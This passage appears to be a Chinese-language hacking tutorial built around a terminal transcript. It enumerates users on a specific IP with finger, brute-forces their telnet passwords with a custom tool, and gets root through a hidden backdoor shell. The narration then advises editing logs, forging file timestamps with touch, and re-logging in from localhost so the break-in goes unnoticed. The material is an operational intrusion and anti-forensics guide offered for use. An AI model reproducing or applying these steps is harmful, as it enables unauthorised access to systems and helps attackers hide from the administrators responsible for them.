bash$ pwd
/home/crossbow
bash$ ping www.shitsoft.com.cn
Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Ping statistics for 202.202.0.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
bash$ finger @202.202.0.8
[202.202.0.8 ]
Login Name TTY Idle When Where
daemon ??? < . . . . >;
bin ??? < . . . . >;
sys ??? < . . . . >;
walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net
power Power Xiong 0 202.202.0.10
deal H Wang pts/2 202.202.0.11
admin ??? < . . . . >;
jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13
render Render pts/0 202.103.10.117
ftp ??? < . . . . >;
好!我需要的Name出來(lái)了,趕快保存:
bash$ finger @202.202.0.8 >;>; /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst
[202.202.0.8 ]
Login Name TTY Idle When Where
daemon ??? < . . . . >;
bin ??? < . . . . >;
sys ??? < . . . . >;
walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net
power Power Xiong 0 202.202.0.10
deal H Wang pts/2 202.202.0.11
admin ??? pts/0 < . . . . >;
jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13
render Render Chen 0 202.103.10.117
ftp ??? < . . . . >;
由于很多人都用自己的姓名及變體作密碼,我們就用他們的用戶名、姓、和數(shù)字的各種組合試一試,成功率應(yīng)該不低。這里我用一個(gè)我自己用C寫(xiě)的程序——got!來(lái)跑吧。got!它自己會(huì)用用戶的姓、名和0-9數(shù)字的各種組合來(lái)嘗試模擬telnet登陸,省時(shí)省力。^_^ 不過(guò)這種暴力破解法會(huì)在目標(biāo)機(jī)的日志上留下痕跡。 因此后面進(jìn)去后一定記得把日志“加工”一下。它的用法是:got! -n 用戶的姓 目標(biāo)機(jī)器 用戶名,你也可以用-f來(lái)指定字典文件暴力窮舉。
bash$ got! -n wan 202.202.0.8 walter
Attempting...
N分鐘以后…………
Failed!
bash$
見(jiàn)鬼!失敗了一個(gè),再試下一個(gè):
bash$ got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$
bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.
bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117
Sun Microsystems Inc. SunOS 5.6
$ /usr/man/man1/.../.zsh
# whoami
root
#
利用剛才作的后門(mén),輕松得到root。別忘了用touch給每個(gè)你動(dòng)過(guò)的文件改時(shí)間,以免被管理員發(fā)現(xiàn)文件被動(dòng)過(guò)!BTW:touch的用法是:touch -t 200112081314 目標(biāo)文件。然后我們用power的身份telnet一下自己,免得被power下次登陸一下就發(fā)現(xiàn)IP有問(wèn)題:
# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SunOS 5.6
login: power
Password:
Last login: Mon Dec 8 13:21:55 CDT 2001 from 202.202.0.8
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
#